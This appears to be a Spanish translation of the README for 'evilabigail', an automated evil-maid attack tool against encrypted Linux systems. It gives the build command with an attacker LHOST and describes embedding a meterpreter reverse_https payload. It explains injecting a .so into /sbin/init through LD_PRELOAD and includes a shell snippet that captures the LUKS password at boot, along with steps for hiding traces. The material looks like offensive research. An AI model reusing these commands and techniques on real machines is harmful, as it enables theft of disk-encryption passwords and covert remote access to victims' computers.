strozfriedberg/evilabigailAtaque automatizado de la doncella malvada en Linux
.so en /sbin/init al arrancar, abriendo una shellLD_PRELOAD de un .so en DefaultEnviroment, cargado globalmente, abriendo una shell.python/meterpreter/reverse_https hacia LHOST en tiempo de compilacióngetenv PASSWORD)Consulte Makefile para más información/configuración; LHOST es necesario en el
entorno para construir el .so ya que msfvenom se canaliza en tiempo de compilación. También es necesario tener libcrypsetup-dev (o equivalente) instalado en la máquina de compilación.
Instrucciones genéricas (genera imagen iso en el directorio actual):
LHOST=192.168.56.101 make rev.so iso
Se han añadido las siguientes opciones al arranque del kernel:
mc superuser nodhcp quiet loglevel=0
Además, el valor de prompt se ha establecido en 0 para permitir una ejecución
completamente automatizada.
Tiempo aproximado desde arranque malicioso hasta initrd infectado: ~2 minutos Tiempo aproximado desde arranque legítimo hasta shell: ~90 segundos (configurable, queremos que la red esté activa antes que nosotros)
core.d es un core.gz desempaquetado de TinyCore con los siguientes paquetes integrados.
Core-current es un Core-current.iso desempaquetado.
Los siguientes paquetes se han instalado dentro de tinycore (python, soporte de sistemas de archivos):
Como mínimo, la firma es la siguiente:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS es un nombre único para este SO.IDENTIFIER es un comando de shell que tiene un código de salida 0 cuando se ejecuta contra el initrd correcto, y !0 para cualquier otro.ROOT es la ruta completa o variable donde se monta la nueva raíz después del descifrado.FILENAME es la ruta completa para colocar nuestro binario en el sistema de archivos raíz. Tenga cuidado de saber qué monta initrd y qué se monta más tarde.INITRDFILENAME es la ruta completa del binario dentro del initrd. Se copia dentro de Makefile (cp ... core.d/...), por lo que debe coincidir.Después de eso, cada triplete de *FILE, *PRE, *POST se ejecuta contra el initrd como un re.sub (ej. re.sub(*PRE, *POST, *FILE)). El contenido de *PRE y *POST se expande usando .format(**config[detectedOS]), así que siéntase libre de expandir su firma para inyectar elementos.
No hay límite en la cantidad de reemplazos que puede ejecutar.
\\1 se expandirá al contenido completo de la coincidencia (*PRE) cuando se use dentro del reemplazo (*POST).| $Se eligió el payload python/meterpreter/reverse_https de metasploit porque es más independiente de la plataforma que los payloads linux/*/meterpreter/reverse_tcp. python parece estar instalado por defecto en todos los sistemas probados.
Por defecto, el payload se genera en tiempo de compilación y se canaliza en el archivo .c como un #define. Esto facilita las iteraciones, pero no debería ser difícil guardar el payload e insertarlo manualmente.
Los sistemas basados en Debian (Debian, Ubuntu, etc.) utilizan una imagen cpio comprimida con gzip como initramfs. Esta contiene el script /init por defecto que se ejecuta para preparar el sistema para el arranque completo. Esto incluye pedir al usuario su contraseña y montar el sistema de archivos raíz cifrado.
Para colocar nuestro .so, esperamos hasta que el sistema de archivos raíz haya sido montado (es decir, después de que se le haya pedido la contraseña al usuario) y copiamos el .so al sistema de archivos /dev. El sistema de archivos /dev fue elegido porque es accesible justo antes de que se cambie el rootfs y es un montaje basado en RAM. Esto significa que nuestro .so no tocará el disco.
Para usar el .so colocado, utilizamos la variable de entorno LD_PRELOAD en la llamada a switch_root. Esta variable se pasa a todos los ejecutables hijos y, por lo tanto, el script final /sbin/init tendrá el módulo cargado. Para mantener esto relativamente silencioso, verificamos si estamos cargados en /sbin/init, y si es así, desactivamos la variable LD_PRELOAD y eliminamos el .so. Esta funcionalidad se puede deshabilitar fácilmente si queremos inyectar aplicaciones específicas.
Para forzar la ejecución del .so, por defecto después de la carga, usamos la bandera de gcc -Wl,-init,shell, donde shell es nuestra función principal. Esto especifica qué función queremos llamar al iniciar el .so. Piense en esto como un análogo al DllMain de Windows.
La parte del script init encargada de pedir al usuario su contraseña y montar el sistema de archivos raíz es la siguiente:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
La parte importante para nosotros es donde la salida de $cryptkeyscript se canaliza a $cryptcreate. $cryptkeyscript es el solicitador de contraseña, y $cryptcreate es el montador de disco. Esta tubería facilita mucho nuestro ataque. Insertamos el siguiente código donde está la tubería para escribir la contraseña al final de nuestro .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Esto leerá la contraseña en la variable $P, la escribirá al final del .so y la repetirá. Este código será transparente para los propósitos de $cryptkeyscript y $cryptcreate, pero tendrá el efecto secundario de exfiltrar la contraseña. Usamos \\\\\\\\x00 para anteponer un byte nulo (considerando múltiples niveles de escape de shell) a la contraseña. Esto facilita que nuestro .so lea la contraseña, ya que solo necesita leer hacia atrás desde el final de sí mismo hasta que vea un byte nulo.
Para proporcionar esta contraseña al atacante, se utiliza como una variable de entorno en la invocación del payload. Esto significa que el atacante puede usar el comando de meterpreter getenv PASSWORD para recuperar la contraseña.
Debido a la forma en que se carga el .so, habrá referencias a él tanto en /proc/1/maps como en /proc/1/environ.
El archivo maps es una lista de módulos cargados. El siguiente extracto muestra el contenido de este archivo. Observe el (deleted), que podría levantar sospechas. Sin embargo, a diferencia de los binarios normales, no es posible acceder al .so sin extraerlo directamente de la memoria después de haber sido eliminado.